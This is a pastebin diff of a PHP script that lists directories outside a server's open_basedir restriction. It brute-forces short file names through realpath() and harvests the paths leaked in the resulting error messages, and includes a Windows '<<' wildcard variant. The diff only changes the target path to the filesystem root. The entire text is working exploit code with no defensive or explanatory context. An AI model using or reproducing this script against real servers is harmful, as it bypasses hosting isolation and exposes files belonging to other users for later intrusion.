View difference between Paste ID: 4LTrARUj and XwNeUARV

 <?php
 
     $windows = false;
     $alphabet = 'abcdefghijklmnopqrstuvwxyz0123456789-_.';
     $alphabet_len = strlen($alphabet);
     $maxlength = 4;
-    $path = '/mnt/home//';
+    $path = '/';
 
     $regexp = "/File\((.*)\) is not within/";
     $files = array();
     $s = array();
 
     error_reporting(0);
     set_error_handler("eh");
     function eh($errno, $errstr, $errfile, $errline) {
         global $regexp,$files,$windows;
         preg_match($regexp,$errstr,$o);
         if(isset($o[1]) && (($windows) ? (strpos($o[1],'&lt;&lt;')===false) : true)) {
             if(!in_array($o[1],$files))
                 $files[]=$o[1];
         }
     }
 
     echo '<pre>open_basedir: ';
     if(ini_get('open_basedir'))
         echo "<font color=\"red\">".ini_get('open_basedir')."</font>\n";
     else
         echo "<font color=\"green\">false</font>\n";
     echo 'Directory listing of '.$path."\n";
     while(count($s = inc($s,0)) <= $maxlength) {
         check($s);
     }
     sort($files);
     foreach($files as $file)
         echo $file."\n";
     echo "</pre>";
 
     function check($s) {
         global $alphabet,$path,$windows;
         $str = 'a';
         for($i = 0; $i < count($s); $i++) {
             $str[$i] = $alphabet[$s[$i]];
         }
         if($windows)
             realpath($path.$str."<<");
         else
             realpath($path.$str);
     }
 
     function inc($s,$i) {
         global $alphabet_len;
         if(!isset($s[$i])) {
             $s[$i] = 0;
             return $s;
         }
         if($s[$i] + 1 == $alphabet_len) {
             $s[$i] = 0;
             $s = inc($s,$i+1);
         } else {
             $s[$i]++;
         }
         return $s;
     }
 ?>